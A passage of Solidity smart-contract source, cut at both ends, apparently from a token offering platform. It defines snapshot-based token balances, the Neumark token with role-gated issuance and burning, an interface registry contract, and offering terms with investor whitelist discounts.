returns (bool)
{
require(snapshotId <= mCurrentSnapshotId());
return values.length > 0 && values[0].snapshotId <= snapshotId;
}
function getValue(
Values[] storage values,
uint256 defaultValue
)
internal
constant
returns (uint256)
{
if (values.length == 0) {
return defaultValue;
} else {
uint256 last = values.length - 1;
return values[last].value;
}
}
function getValueAt(
Values[] storage values,
uint256 snapshotId,
uint256 defaultValue
)
internal
constant
returns (uint256)
{
require(snapshotId <= mCurrentSnapshotId());
if (values.length == 0) {
return defaultValue;
}
uint256 last = values.length - 1;
uint256 lastSnapshot = values[last].snapshotId;
if (snapshotId >= lastSnapshot) {
return values[last].value;
}
uint256 firstSnapshot = values[0].snapshotId;
if (snapshotId < firstSnapshot) {
return defaultValue;
}
uint256 min = 0;
uint256 max = last;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (values[mid].snapshotId <= snapshotId) {
min = mid;
} else {
max = mid - 1;
}
}
return values[min].value;
}
function setValue(
Values[] storage values,
uint256 value
)
internal
{
uint256 currentSnapshotId = mAdvanceSnapshotId();
bool empty = values.length == 0;
if (empty) {
values.push(
Values({
snapshotId: currentSnapshotId,
value: value
})
);
return;
}
uint256 last = values.length - 1;
bool hasNewSnapshot = values[last].snapshotId < currentSnapshotId;
if (hasNewSnapshot) {
bool unmodified = values[last].value == value;
if (unmodified) {
return;
}
values.push(
Values({
snapshotId: currentSnapshotId,
value: value
})
);
} else {
bool previousUnmodified = last > 0 && values[last - 1].value == value;
if (previousUnmodified) {
delete values[last];
values.length--;
return;
}
values[last].value = value;
}
}
}
contract ITokenSnapshots {
function totalSupplyAt(uint256 snapshotId)
public
constant
returns(uint256);
function balanceOfAt(address owner, uint256 snapshotId)
public
constant
returns (uint256);
function currentSnapshotId()
public
constant
returns (uint256);
}
contract IClonedTokenParent is ITokenSnapshots {
function parentToken()
public
constant
returns(IClonedTokenParent parent);
function parentSnapshotId()
public
constant
returns(uint256 snapshotId);
}
contract BasicSnapshotToken is
MTokenTransfer,
MTokenTransferController,
IClonedTokenParent,
IBasicToken,
Snapshot
{
IClonedTokenParent private PARENT_TOKEN;
uint256 private PARENT_SNAPSHOT_ID;
mapping (address => Values[]) internal _balances;
Values[] internal _totalSupplyValues;
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
Snapshot()
internal
{
PARENT_TOKEN = parentToken;
if (parentToken == address(0)) {
require(parentSnapshotId == 0);
} else {
if (parentSnapshotId == 0) {
require(parentToken.currentSnapshotId() > 0);
PARENT_SNAPSHOT_ID = parentToken.currentSnapshotId() - 1;
} else {
PARENT_SNAPSHOT_ID = parentSnapshotId;
}
}
}
function totalSupply()
public
constant
returns (uint256)
{
return totalSupplyAtInternal(mCurrentSnapshotId());
}
function balanceOf(address owner)
public
constant
returns (uint256 balance)
{
return balanceOfAtInternal(owner, mCurrentSnapshotId());
}
function transfer(address to, uint256 amount)
public
returns (bool success)
{
mTransfer(msg.sender, to, amount);
return true;
}
function totalSupplyAt(uint256 snapshotId)
public
constant
returns(uint256)
{
return totalSupplyAtInternal(snapshotId);
}
function balanceOfAt(address owner, uint256 snapshotId)
public
constant
returns (uint256)
{
return balanceOfAtInternal(owner, snapshotId);
}
function currentSnapshotId()
public
constant
returns (uint256)
{
return mCurrentSnapshotId();
}
function parentToken()
public
constant
returns(IClonedTokenParent parent)
{
return PARENT_TOKEN;
}
function parentSnapshotId()
public
constant
returns(uint256 snapshotId)
{
return PARENT_SNAPSHOT_ID;
}
function allBalancesOf(address owner)
external
constant
returns (uint256[2][])
{
Values[] storage values = _balances[owner];
uint256[2][] memory balances = new uint256[2][](values.length);
for(uint256 ii = 0; ii < values.length; ++ii) {
balances[ii] = [values[ii].snapshotId, values[ii].value];
}
return balances;
}
function totalSupplyAtInternal(uint256 snapshotId)
internal
constant
returns(uint256)
{
Values[] storage values = _totalSupplyValues;
if (hasValueAt(values, snapshotId)) {
return getValueAt(values, snapshotId, 0);
}
if (address(PARENT_TOKEN) != 0) {
uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;
return PARENT_TOKEN.totalSupplyAt(earlierSnapshotId);
}
return 0;
}
function balanceOfAtInternal(address owner, uint256 snapshotId)
internal
constant
returns (uint256)
{
Values[] storage values = _balances[owner];
if (hasValueAt(values, snapshotId)) {
return getValueAt(values, snapshotId, 0);
}
if (PARENT_TOKEN != address(0)) {
uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;
return PARENT_TOKEN.balanceOfAt(owner, earlierSnapshotId);
}
return 0;
}
function mTransfer(
address from,
address to,
uint256 amount
)
internal
{
require(to != address(0));
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
require(mOnTransfer(from, to, amount));
uint256 previousBalanceFrom = balanceOf(from);
require(previousBalanceFrom >= amount);
uint256 newBalanceFrom = previousBalanceFrom - amount;
setValue(_balances[from], newBalanceFrom);
uint256 previousBalanceTo = balanceOf(to);
uint256 newBalanceTo = previousBalanceTo + amount;
assert(newBalanceTo >= previousBalanceTo);
setValue(_balances[to], newBalanceTo);
emit Transfer(from, to, amount);
}
}
contract MTokenMint {
function mGenerateTokens(address owner, uint256 amount)
internal;
function mDestroyTokens(address owner, uint256 amount)
internal;
}
contract MintableSnapshotToken is
BasicSnapshotToken,
MTokenMint
{
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
BasicSnapshotToken(parentToken, parentSnapshotId)
internal
{}
function mGenerateTokens(address owner, uint256 amount)
internal
{
require(owner != address(0));
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
uint256 curTotalSupply = totalSupply();
uint256 newTotalSupply = curTotalSupply + amount;
require(newTotalSupply >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(owner);
uint256 newBalanceTo = previousBalanceTo + amount;
assert(newBalanceTo >= previousBalanceTo);
setValue(_totalSupplyValues, newTotalSupply);
setValue(_balances[owner], newBalanceTo);
emit Transfer(0, owner, amount);
}
function mDestroyTokens(address owner, uint256 amount)
internal
{
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
uint256 curTotalSupply = totalSupply();
require(curTotalSupply >= amount);
uint256 previousBalanceFrom = balanceOf(owner);
require(previousBalanceFrom >= amount);
uint256 newTotalSupply = curTotalSupply - amount;
uint256 newBalanceFrom = previousBalanceFrom - amount;
setValue(_totalSupplyValues, newTotalSupply);
setValue(_balances[owner], newBalanceFrom);
emit Transfer(owner, 0, amount);
}
}
contract StandardSnapshotToken is
MintableSnapshotToken,
TokenAllowance
{
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
MintableSnapshotToken(parentToken, parentSnapshotId)
TokenAllowance()
internal
{}
}
contract IERC223LegacyCallback {
function onTokenTransfer(address from, uint256 amount, bytes data)
public;
}
contract IERC223Token is IERC20Token, ITokenMetadata {
function transfer(address to, uint256 amount, bytes data)
public
returns (bool);
}
contract Neumark is
AccessControlled,
AccessRoles,
Agreement,
DailyAndSnapshotable,
StandardSnapshotToken,
TokenMetadata,
IERC223Token,
NeumarkIssuanceCurve,
Reclaimable,
IsContract
{
string private constant TOKEN_NAME = "Neumark";
uint8 private constant TOKEN_DECIMALS = 18;
string private constant TOKEN_SYMBOL = "NEU";
string private constant VERSION = "NMK_1.0";
bool private _transferEnabled = false;
uint256 private _totalEurUlps;
event LogNeumarksIssued(
address indexed owner,
uint256 euroUlps,
uint256 neumarkUlps
);
event LogNeumarksBurned(
address indexed owner,
uint256 euroUlps,
uint256 neumarkUlps
);
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter
)
AccessRoles()
Agreement(accessPolicy, forkArbiter)
StandardSnapshotToken(
IClonedTokenParent(0x0),
0
)
TokenMetadata(
TOKEN_NAME,
TOKEN_DECIMALS,
TOKEN_SYMBOL,
VERSION
)
DailyAndSnapshotable(0)
NeumarkIssuanceCurve()
Reclaimable()
public
{}
function issueForEuro(uint256 euroUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(msg.sender)
returns (uint256)
{
require(_totalEurUlps + euroUlps >= _totalEurUlps);
uint256 neumarkUlps = incremental(_totalEurUlps, euroUlps);
_totalEurUlps += euroUlps;
mGenerateTokens(msg.sender, neumarkUlps);
emit LogNeumarksIssued(msg.sender, euroUlps, neumarkUlps);
return neumarkUlps;
}
function distribute(address to, uint256 neumarkUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(to)
{
mTransfer(msg.sender, to, neumarkUlps);
}
function burn(uint256 neumarkUlps)
public
only(ROLE_NEUMARK_BURNER)
{
burnPrivate(neumarkUlps, 0, _totalEurUlps);
}
function burn(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
only(ROLE_NEUMARK_BURNER)
{
burnPrivate(neumarkUlps, minEurUlps, maxEurUlps);
}
function enableTransfer(bool enabled)
public
only(ROLE_TRANSFER_ADMIN)
{
_transferEnabled = enabled;
}
function createSnapshot()
public
only(ROLE_SNAPSHOT_CREATOR)
returns (uint256)
{
return DailyAndSnapshotable.createSnapshot();
}
function transferEnabled()
public
constant
returns (bool)
{
return _transferEnabled;
}
function totalEuroUlps()
public
constant
returns (uint256)
{
return _totalEurUlps;
}
function incremental(uint256 euroUlps)
public
constant
returns (uint256 neumarkUlps)
{
return incremental(_totalEurUlps, euroUlps);
}
function transfer(address to, uint256 amount, bytes data)
public
returns (bool)
{
BasicSnapshotToken.mTransfer(msg.sender, to, amount);
if (isContract(to)) {
IERC223LegacyCallback(to).onTokenTransfer(msg.sender, amount, data);
}
return true;
}
function mOnTransfer(
address from,
address,
uint256
)
internal
acceptAgreement(from)
returns (bool allow)
{
return _transferEnabled || accessPolicy().allowed(msg.sender, ROLE_NEUMARK_ISSUER, this, msg.sig);
}
function mOnApprove(
address owner,
address,
uint256
)
internal
acceptAgreement(owner)
returns (bool allow)
{
return true;
}
function burnPrivate(uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
private
{
uint256 prevEuroUlps = _totalEurUlps;
mDestroyTokens(msg.sender, burnNeumarkUlps);
_totalEurUlps = cumulativeInverse(totalSupply(), minEurUlps, maxEurUlps);
assert(prevEuroUlps >= _totalEurUlps);
uint256 euroUlps = prevEuroUlps - _totalEurUlps;
emit LogNeumarksBurned(msg.sender, euroUlps, burnNeumarkUlps);
}
}
contract IERC223Callback {
function tokenFallback(address from, uint256 amount, bytes data)
public;
}
contract IFeeDisbursal is IERC223Callback {
}
contract IPlatformPortfolio is IERC223Callback {
}
contract ITokenExchangeRateOracle {
function getExchangeRate(address numeratorToken, address denominatorToken)
public
constant
returns (uint256 rateFraction, uint256 timestamp);
function getExchangeRates(address[] numeratorTokens, address[] denominatorTokens)
public
constant
returns (uint256[] rateFractions, uint256[] timestamps);
}
contract Universe is
Agreement,
IContractId,
KnownInterfaces
{
event LogSetSingleton(
bytes4 interfaceId,
address instance,
address replacedInstance
);
event LogSetCollectionInterface(
bytes4 interfaceId,
address instance,
bool isSet
);
mapping(bytes4 => address) private _singletons;
mapping(bytes4 =>
mapping(address => bool)) private _collections;
mapping(address => bytes4[]) private _instances;
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter
)
Agreement(accessPolicy, forkArbiter)
public
{
setSingletonPrivate(KNOWN_INTERFACE_ACCESS_POLICY, accessPolicy);
setSingletonPrivate(KNOWN_INTERFACE_FORK_ARBITER, forkArbiter);
}
function getSingleton(bytes4 interfaceId)
public
constant
returns (address)
{
return _singletons[interfaceId];
}
function getManySingletons(bytes4[] interfaceIds)
public
constant
returns (address[])
{
address[] memory addresses = new address[](interfaceIds.length);
uint256 idx;
while(idx < interfaceIds.length) {
addresses[idx] = _singletons[interfaceIds[idx]];
idx += 1;
}
return addresses;
}
function isSingleton(bytes4 interfaceId, address instance)
public
constant
returns (bool)
{
return _singletons[interfaceId] == instance;
}
function isInterfaceCollectionInstance(bytes4 interfaceId, address instance)
public
constant
returns (bool)
{
return _collections[interfaceId][instance];
}
function isAnyOfInterfaceCollectionInstance(bytes4[] interfaceIds, address instance)
public
constant
returns (bool)
{
uint256 idx;
while(idx < interfaceIds.length) {
if (_collections[interfaceIds[idx]][instance]) {
return true;
}
idx += 1;
}
return false;
}
function getInterfacesOfInstance(address instance)
public
constant
returns (bytes4[] interfaces)
{
return _instances[instance];
}
function setSingleton(bytes4 interfaceId, address instance)
public
only(ROLE_UNIVERSE_MANAGER)
{
setSingletonPrivate(interfaceId, instance);
}
function setManySingletons(bytes4[] interfaceIds, address[] instances)
public
only(ROLE_UNIVERSE_MANAGER)
{
require(interfaceIds.length == instances.length);
uint256 idx;
while(idx < interfaceIds.length) {
setSingletonPrivate(interfaceIds[idx], instances[idx]);
idx += 1;
}
}
function setCollectionInterface(bytes4 interfaceId, address instance, bool set)
public
only(ROLE_UNIVERSE_MANAGER)
{
setCollectionPrivate(interfaceId, instance, set);
}
function setInterfaceInManyCollections(bytes4[] interfaceIds, address instance, bool set)
public
only(ROLE_UNIVERSE_MANAGER)
{
uint256 idx;
while(idx < interfaceIds.length) {
setCollectionPrivate(interfaceIds[idx], instance, set);
idx += 1;
}
}
function setCollectionsInterfaces(bytes4[] interfaceIds, address[] instances, bool[] set_flags)
public
only(ROLE_UNIVERSE_MANAGER)
{
require(interfaceIds.length == instances.length);
require(interfaceIds.length == set_flags.length);
uint256 idx;
while(idx < interfaceIds.length) {
setCollectionPrivate(interfaceIds[idx], instances[idx], set_flags[idx]);
idx += 1;
}
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x8b57bfe21a3ef4854e19d702063b6cea03fa514162f8ff43fde551f06372fefd, 0);
}
function accessPolicy() public constant returns (IAccessPolicy) {
return IAccessPolicy(_singletons[KNOWN_INTERFACE_ACCESS_POLICY]);
}
function forkArbiter() public constant returns (IEthereumForkArbiter) {
return IEthereumForkArbiter(_singletons[KNOWN_INTERFACE_FORK_ARBITER]);
}
function neumark() public constant returns (Neumark) {
return Neumark(_singletons[KNOWN_INTERFACE_NEUMARK]);
}
function etherToken() public constant returns (IERC223Token) {
return IERC223Token(_singletons[KNOWN_INTERFACE_ETHER_TOKEN]);
}
function euroToken() public constant returns (IERC223Token) {
return IERC223Token(_singletons[KNOWN_INTERFACE_EURO_TOKEN]);
}
function etherLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ETHER_LOCK];
}
function euroLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_EURO_LOCK];
}
function icbmEtherLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ICBM_ETHER_LOCK];
}
function icbmEuroLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ICBM_EURO_LOCK];
}
function identityRegistry() public constant returns (address) {
return IIdentityRegistry(_singletons[KNOWN_INTERFACE_IDENTITY_REGISTRY]);
}
function tokenExchangeRateOracle() public constant returns (address) {
return ITokenExchangeRateOracle(_singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE]);
}
function feeDisbursal() public constant returns (address) {
return IFeeDisbursal(_singletons[KNOWN_INTERFACE_FEE_DISBURSAL]);
}
function platformPortfolio() public constant returns (address) {
return IPlatformPortfolio(_singletons[KNOWN_INTERFACE_PLATFORM_PORTFOLIO]);
}
function tokenExchange() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE];
}
function gasExchange() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_GAS_EXCHANGE];
}
function platformTerms() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_PLATFORM_TERMS];
}
function setSingletonPrivate(bytes4 interfaceId, address instance)
private
{
require(interfaceId != KNOWN_INTERFACE_UNIVERSE, "NF_UNI_NO_UNIVERSE_SINGLETON");
address replacedInstance = _singletons[interfaceId];
if (replacedInstance != instance) {
dropInstance(replacedInstance, interfaceId);
addInstance(instance, interfaceId);
_singletons[interfaceId] = instance;
}
emit LogSetSingleton(interfaceId, instance, replacedInstance);
}
function setCollectionPrivate(bytes4 interfaceId, address instance, bool set)
private
{
if (_collections[interfaceId][instance] == set) {
return;
}
_collections[interfaceId][instance] = set;
if (set) {
addInstance(instance, interfaceId);
} else {
dropInstance(instance, interfaceId);
}
emit LogSetCollectionInterface(interfaceId, instance, set);
}
function addInstance(address instance, bytes4 interfaceId)
private
{
if (instance == address(0)) {
return;
}
bytes4[] storage current = _instances[instance];
uint256 idx;
while(idx < current.length) {
if (current[idx] == interfaceId)
return;
idx += 1;
}
current.push(interfaceId);
}
function dropInstance(address instance, bytes4 interfaceId)
private
{
if (instance == address(0)) {
return;
}
bytes4[] storage current = _instances[instance];
uint256 idx;
uint256 last = current.length - 1;
while(idx <= last) {
if (current[idx] == interfaceId) {
if (idx < last) {
current[idx] = current[last];
}
current.length -= 1;
return;
}
idx += 1;
}
}
}
contract ETODurationTerms is IContractId {
uint32 public WHITELIST_DURATION;
uint32 public PUBLIC_DURATION;
uint32 public SIGNING_DURATION;
uint32 public CLAIM_DURATION;
constructor(
uint32 whitelistDuration,
uint32 publicDuration,
uint32 signingDuration,
uint32 claimDuration
)
public
{
WHITELIST_DURATION = whitelistDuration;
PUBLIC_DURATION = publicDuration;
SIGNING_DURATION = signingDuration;
CLAIM_DURATION = claimDuration;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x5fb50201b453799d95f8a80291b940f1c543537b95bff2e3c78c2e36070494c0, 0);
}
}
contract ETOTokenTerms is IContractId {
uint256 public MIN_NUMBER_OF_TOKENS;
uint256 public MAX_NUMBER_OF_TOKENS;
uint256 public TOKEN_PRICE_EUR_ULPS;
uint256 public MAX_NUMBER_OF_TOKENS_IN_WHITELIST;
uint256 public constant EQUITY_TOKENS_PER_SHARE = 10000;
uint8 public constant EQUITY_TOKENS_PRECISION = 0;
constructor(
uint256 minNumberOfTokens,
uint256 maxNumberOfTokens,
uint256 tokenPriceEurUlps,
uint256 maxNumberOfTokensInWhitelist
)
public
{
require(maxNumberOfTokensInWhitelist <= maxNumberOfTokens);
require(maxNumberOfTokens >= minNumberOfTokens);
require(minNumberOfTokens >= EQUITY_TOKENS_PER_SHARE, "NF_ETO_TERMS_ONE_SHARE");
MIN_NUMBER_OF_TOKENS = minNumberOfTokens;
MAX_NUMBER_OF_TOKENS = maxNumberOfTokens;
TOKEN_PRICE_EUR_ULPS = tokenPriceEurUlps;
MAX_NUMBER_OF_TOKENS_IN_WHITELIST = maxNumberOfTokensInWhitelist;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x591e791aab2b14c80194b729a2abcba3e8cce1918be4061be170e7223357ae5c, 0);
}
}
contract ETOTerms is
IdentityRecord,
Math,
IContractId
{
struct WhitelistTicket {
uint128 discountAmountEurUlps;
uint128 fullTokenPriceFrac;
}
bytes32 private constant EMPTY_STRING_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
uint256 public constant MIN_QUALIFIED_INVESTOR_TICKET_EUR_ULPS = 100000 * 10**18;
ETODurationTerms public DURATION_TERMS;
ETOTokenTerms public TOKEN_TERMS;
uint256 public EXISTING_COMPANY_SHARES;
uint256 public SHARE_NOMINAL_VALUE_EUR_ULPS;
uint256 public MIN_TICKET_EUR_ULPS;
uint256 public MAX_TICKET_EUR_ULPS;
uint256 public MAX_TICKET_SIMPLE_EUR_ULPS;
bool public ENABLE_TRANSFERS_ON_SUCCESS;
bool public ALLOW_RETAIL_INVESTORS;
uint256 public WHITELIST_DISCOUNT_FRAC;
uint256 public PUBLIC_DISCOUNT_FRAC;
string public INVESTOR_OFFERING_DOCUMENT_URL;
ShareholderRights public SHAREHOLDER_RIGHTS;
string public EQUITY_TOKEN_NAME;
string public EQUITY_TOKEN_SYMBOL;
address public WHITELIST_MANAGER;
IIdentityRegistry public IDENTITY_REGISTRY;
Universe public UNIVERSE;
uint256 private MIN_NUMBER_OF_TOKENS;
uint256 private MAX_NUMBER_OF_TOKENS;
uint256 private TOKEN_PRICE_EUR_ULPS;
mapping (address => WhitelistTicket) private _whitelist;
modifier onlyWhitelistManager() {
require(msg.sender == WHITELIST_MANAGER);
_;
}
event LogInvestorWhitelisted(
address indexed investor,
uint256 discountAmountEurUlps,
uint256 fullTokenPriceFrac
);
constructor(
Universe universe,
ETODurationTerms durationTerms,
ETOTokenTerms tokenTerms,
uint256 existingCompanyShares,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
bool allowRetailInvestors,
bool enableTransfersOnSuccess,
string investorOfferingDocumentUrl,
ShareholderRights shareholderRights,
string equityTokenName,
string equityTokenSymbol,
uint256 shareNominalValueEurUlps,
uint256 whitelistDiscountFrac,
uint256 publicDiscountFrac
)
public
{
require(durationTerms != address(0));
require(tokenTerms != address(0));
require(existingCompanyShares > 0);
require(keccak256(abi.encodePacked(investorOfferingDocumentUrl)) != EMPTY_STRING_HASH);
require(keccak256(abi.encodePacked(equityTokenName)) != EMPTY_STRING_HASH);
require(keccak256(abi.encodePacked(equityTokenSymbol)) != EMPTY_STRING_HASH);
require(shareholderRights != address(0));
require(shareNominalValueEurUlps > 0);
require(whitelistDiscountFrac >= 0 && whitelistDiscountFrac <= 99*10**16);
require(publicDiscountFrac >= 0 && publicDiscountFrac <= 99*10**16);
require(minTicketEurUlps<=maxTicketEurUlps);
MIN_NUMBER_OF_TOKENS = tokenTerms.MIN_NUMBER_OF_TOKENS();
MAX_NUMBER_OF_TOKENS = tokenTerms.MAX_NUMBER_OF_TOKENS();
TOKEN_PRICE_EUR_ULPS = tokenTerms.TOKEN_PRICE_EUR_ULPS();
DURATION_TERMS = durationTerms;
TOKEN_TERMS = tokenTerms;
EXISTING_COMPANY_SHARES = existingCompanyShares;
MIN_TICKET_EUR_ULPS = minTicketEurUlps;
MAX_TICKET_EUR_ULPS = maxTicketEurUlps;
ALLOW_RETAIL_INVESTORS = allowRetailInvestors;
ENABLE_TRANSFERS_ON_SUCCESS = enableTransfersOnSuccess;
INVESTOR_OFFERING_DOCUMENT_URL = investorOfferingDocumentUrl;
SHAREHOLDER_RIGHTS = shareholderRights;
EQUITY_TOKEN_NAME = equityTokenName;
EQUITY_TOKEN_SYMBOL = equityTokenSymbol;
SHARE_NOMINAL_VALUE_EUR_ULPS = shareNominalValueEurUlps;
WHITELIST_DISCOUNT_FRAC = whitelistDiscountFrac;
PUBLIC_DISCOUNT_FRAC = publicDiscountFrac;
WHITELIST_MANAGER = msg.sender;
IDENTITY_REGISTRY = IIdentityRegistry(universe.identityRegistry());
UNIVERSE = universe;
}
function calculateTokenAmount(uint256 , uint256 committedEurUlps)
public
constant
returns (uint256 tokenAmountInt)
{
return committedEurUlps / calculatePriceFraction(10**18 - PUBLIC_DISCOUNT_FRAC);
}
function calculateEurUlpsAmount(uint256 , uint256 tokenAmountInt)
public
constant
returns (uint256 committedEurUlps)
{
return mul(tokenAmountInt, calculatePriceFraction(10**18 - PUBLIC_DISCOUNT_FRAC));
}
function ESTIMATED_MIN_CAP_EUR_ULPS() public constant returns(uint256) {
return calculateEurUlpsAmount(0, MIN_NUMBER_OF_TOKENS);
}
function ESTIMATED_MAX_CAP_EUR_ULPS() public constant returns(uint256) {
return calculateEurUlpsAmount(0, MAX_NUMBER_OF_TOKENS);
}
function calculatePriceFraction(uint256 priceFrac) public constant returns(uint256) {
if (priceFrac == 1) {
return TOKEN_PRICE_EUR_ULPS;
} else {
return decimalFraction(priceFrac, TOKEN_PRICE_EUR_ULPS);
}
}
function addWhitelisted(
address[] investors,
uint256[] discountAmountsEurUlps,
uint256[] discountsFrac
)
external
onlyWhitelistManager
{
require(investors.length == discountAmountsEurUlps.length);
require(investors.length == discountsFrac.length);
for (uint256 i = 0; i < investors.length; i += 1) {
addWhitelistInvestorPrivate(investors[i], discountAmountsEurUlps[i], discountsFrac[i]);
}
}
function whitelistTicket(address investor)
public
constant
returns (bool isWhitelisted, uint256 discountAmountEurUlps, uint256 fullTokenPriceFrac)
{
WhitelistTicket storage wlTicket = _whitelist[investor];
isWhitelisted = wlTicket.fullTokenPriceFrac > 0;
discountAmountEurUlps = wlTicket.discountAmountEurUlps;
fullTokenPriceFrac = wlTicket.fullTokenPriceFrac;
}
function calculateContribution(
address investor,
uint256 totalContributedEurUlps,
uint256 existingInvestorContributionEurUlps,
uint256 newInvestorContributionEurUlps,
bool applyWhitelistDiscounts
)
public
constant
returns (
bool isWhitelisted,
bool isEligible,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
uint256 equityTokenInt,
uint256 fixedSlotEquityTokenInt
)
{
(
isWhitelisted,
minTicketEurUlps,
maxTicketEurUlps,
equityTokenInt,
fixedSlotEquityTokenInt
) = calculateContributionPrivate(
investor,
totalContributedEurUlps,
existingInvestorContributionEurUlps,
newInvestorContributionEurUlps,
applyWhitelistDiscounts);
IdentityClaims memory claims = deserializeClaims(IDENTITY_REGISTRY.getClaims(investor));
isEligible = claims.isVerified && !claims.accountFrozen;
}
function equityTokensToShares(uint256 amount)
public
constant
returns (uint256)
{
return divRound(amount, TOKEN_TERMS.EQUITY_TOKENS_PER_SHARE());
}
function requireValidTerms(PlatformTerms platformTerms)
public
constant
returns (bool)
{
if (ALLOW_RETAIL_INVESTORS) {
require(!ENABLE_TRANSFERS_ON_SUCCESS, "NF_MUST_DISABLE_TRANSFERS");
} else {
require(MIN_TICKET_EUR_ULPS >= MIN_QUALIFIED_INVESTOR_TICKET_EUR_ULPS, "NF_MIN_QUALIFIED_INVESTOR_TICKET");
}
require(MIN_TICKET_EUR_ULPS >= TOKEN_TERMS.TOKEN_PRICE_EUR_ULPS(), "NF_MIN_TICKET_LT_TOKEN_PRICE");
require(ESTIMATED_MAX_CAP_EUR_ULPS() >= MIN_TICKET_EUR_ULPS, "NF_MAX_FUNDS_LT_MIN_TICKET");
require(MIN_TICKET_EUR_ULPS >= platformTerms.MIN_TICKET_EUR_ULPS(), "NF_ETO_TERMS_MIN_TICKET_EUR_ULPS");
require(DURATION_TERMS.WHITELIST_DURATION() >= platformTerms.MIN_WHITELIST_DURATION(), "NF_ETO_TERMS_WL_D_MIN");
require(DURATION_TERMS.WHITELIST_DURATION() <= platformTerms.MAX_WHITELIST_DURATION(), "NF_ETO_TERMS_WL_D_MAX");
require(DURATION_TERMS.PUBLIC_DURATION() >= platformTerms.MIN_PUBLIC_DURATION(), "NF_ETO_TERMS_PUB_D_MIN");
require(DURATION_TERMS.PUBLIC_DURATION() <= platformTerms.MAX_PUBLIC_DURATION(), "NF_ETO_TERMS_PUB_D_MAX");
uint256 totalDuration = DURATION_TERMS.WHITELIST_DURATION() + DURATION_TERMS.PUBLIC_DURATION();
require(totalDuration >= platformTerms.MIN_OFFER_DURATION(), "NF_ETO_TERMS_TOT_O_MIN");
require(totalDuration <= platformTerms.MAX_OFFER_DURATION(), "NF_ETO_TERMS_TOT_O_MAX");
require(DURATION_TERMS.SIGNING_DURATION() >= platformTerms.MIN_SIGNING_DURATION(), "NF_ETO_TERMS_SIG_MIN");
require(DURATION_TERMS.SIGNING_DURATION() <= platformTerms.MAX_SIGNING_DURATION(), "NF_ETO_TERMS_SIG_MAX");
require(DURATION_TERMS.CLAIM_DURATION() >= platformTerms.MIN_CLAIM_DURATION(), "NF_ETO_TERMS_CLAIM_MIN");
require(DURATION_TERMS.CLAIM_DURATION() <= platformTerms.MAX_CLAIM_DURATION(), "NF_ETO_TERMS_CLAIM_MAX");
return true;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x3468b14073c33fa00ee7f8a289b14f4a10c78ab72726033b27003c31c47b3f6a, 0);
}
function calculateContributionPrivate(
address investor,
uint256 totalContributedEurUlps,
uint256 existingInvestorContributionEurUlps,
uint256 newInvestorContributionEurUlps,
bool applyWhitelistDiscounts
)
private
constant
returns (
bool isWhitelisted,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
uint256 equityTokenInt,
uint256 fixedSlotEquityTokenInt
)
{
uint256 discountedAmount;
minTicketEurUlps = MIN_TICKET_EUR_ULPS;
maxTicketEurUlps = MAX_TICKET_EUR_ULPS;
WhitelistTicket storage wlTicket = _whitelist[investor];
isWhitelisted = wlTicket.fullTokenPriceFrac > 0;
if (applyWhitelistDiscounts) {
maxTicketEurUlps = max(wlTicket.discountAmountEurUlps, maxTicketEurUlps);
if (wlTicket.discountAmountEurUlps > 0) {
minTicketEurUlps = min(wlTicket.discountAmountEurUlps, minTicketEurUlps);
}
if (existingInvestorContributionEurUlps < wlTicket.discountAmountEurUlps) {
discountedAmount = min(newInvestorContributionEurUlps, wlTicket.discountAmountEurUlps - existingInvestorContributionEurUlps);
if (discountedAmount > 0) {
fixedSlotEquityTokenInt = discountedAmount / calculatePriceFraction(wlTicket.fullTokenPriceFrac);
}
}
}
uint256 remainingAmount = newInvestorContributionEurUlps - discountedAmount;
if (remainingAmount > 0) {
if (applyWhitelistDiscounts && WHITELIST_DISCOUNT_FRAC > 0) {
equityTokenInt = remainingAmount / calculatePriceFraction(10**18 - WHITELIST_DISCOUNT_FRAC);
} else {
equityTokenInt = calculateTokenAmount(totalContributedEurUlps + discountedAmount, remainingAmount);
}
}
equityTokenInt += fixedSlotEquityTokenInt;
}
function addWhitelistInvestorPrivate(
address investor,
uint256 discountAmountEurUlps,
uint256 fullTokenPriceFrac
)
private
{
require(investor != address(0));
require(fullTokenPriceFrac > 0 && fullTokenPriceFrac <= 10**18, "NF_DISCOUNT_RANGE");
require(discountAmountEurUlps < 2**128);
_whitelist[investor] = WhitelistTicket({
discountAmountEurUlps: uint128(discountAmountEurUlps),
fullTokenPriceFrac: uint128(fullTokenPriceFrac)
});
